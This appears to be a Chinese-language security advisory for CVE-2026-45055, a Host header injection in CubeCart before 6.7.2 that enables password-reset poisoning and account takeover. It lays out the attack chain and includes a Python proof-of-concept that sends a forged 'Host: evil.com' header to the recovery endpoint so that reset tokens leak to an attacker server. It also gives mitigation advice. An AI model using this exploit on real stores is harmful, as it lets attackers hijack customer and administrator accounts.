IPBUF安全漏洞报告
English
CVE-2026-45055 CVSS 8.1 高危

CVE-2026-45055 CubeCart Host头注入漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-45055
漏洞类型
Host头注入
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
CubeCart

相关标签

Host头注入CubeCart账户接管密码重置投毒CVE-2026-45055

漏洞概述

CubeCart是一款广泛使用的电子商务软件。在6.7.2版本之前,该软件在初始化时直接利用请求头中的Host值构建站点URL常量,且缺乏安全校验。此URL被用于生成密码重置等关键邮件中的链接。未经认证的攻击者可通过篡改Host头,诱导系统向目标用户发送指向恶意域名的密码重置邮件。若用户点击该链接,攻击者便能截获有效的验证令牌,进而完全控制用户账户或管理员后台。

技术细节

该漏洞的根源在于CubeCart在启动过程中直接信任了HTTP请求头中的Host字段,将其用于构建全局常量CC_STORE_URL,而未对该字段进行白名单验证。在6.6.x至6.7.1版本中,这一常量被直接嵌入到由系统发送的各类事务性邮件中,尤其是User::passwordRequest()和Admin::passwordRequest()函数生成的密码重置链接。攻击者利用此漏洞,向/index.php?_a=recover端点发送POST请求,并将Host头恶意修改为攻击者控制的域名。服务器随后生成一个有效期3600秒的验证令牌,并将其拼接到基于恶意Host头的URL中发送给受害者。由于令牌在合法服务器端有效,当受害者点击邮件中的恶意链接时,攻击者可以在恶意服务器日志中截获该令牌。利用截获的令牌,攻击者可向合法Store端点发起请求重置密码,从而实现账户接管。

攻击链分析

STEP 1
侦察
攻击者确定目标CubeCart站点及目标用户的电子邮件地址(特别是管理员账户)。
STEP 2
漏洞利用
攻击者向/index.php?_a=recover发送POST请求,并在HTTP头中注入恶意的Host字段(如Host: evil.com)。
STEP 3
社会工程学
CubeCart服务器生成包含令牌的重置链接,其中域名使用了攻击者注入的恶意Host,并将邮件发送给受害者。
STEP 4
令牌捕获
受害者点击邮件中的恶意链接,访问攻击者控制的服务器。攻击者记录下URL中的验证令牌。
STEP 5
接管账户
攻击者使用截获的令牌向合法的CubeCart站点发送请求,重置密码并获取账户完全控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://victim-store.com/index.php?_a=recover" target_email = "[email protected]" attacker_domain = "evil.com" # Prepare headers, inject malicious Host header headers = { "Host": attacker_domain, "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } # Payload data data = { "email": target_email, "email_confirm": target_email } try: # Send malicious request # Note: In Python requests, the 'Host' header is usually overridden by the URL. # This PoC demonstrates the logic; real exploitation might require raw sockets # or a library that allows manual Host header manipulation. response = requests.post(target_url, headers=headers, data=data) if response.status_code == 200: print(f"[+] Request sent to target.") print(f"[+] Check {target_email} for the reset link.") print(f"[+] The link will point to http://{attacker_domain}/...") print(f"[+] Capture the 'validate' token from your server logs to takeover the account.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

CubeCart < 6.7.2

防御指南

临时缓解措施
在未升级前,建议管理员监控异常的密码重置请求,并部署WAF规则检测Host头篡改行为。用户应仔细核对密码重置邮件中的域名,切勿点击来源不明的链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表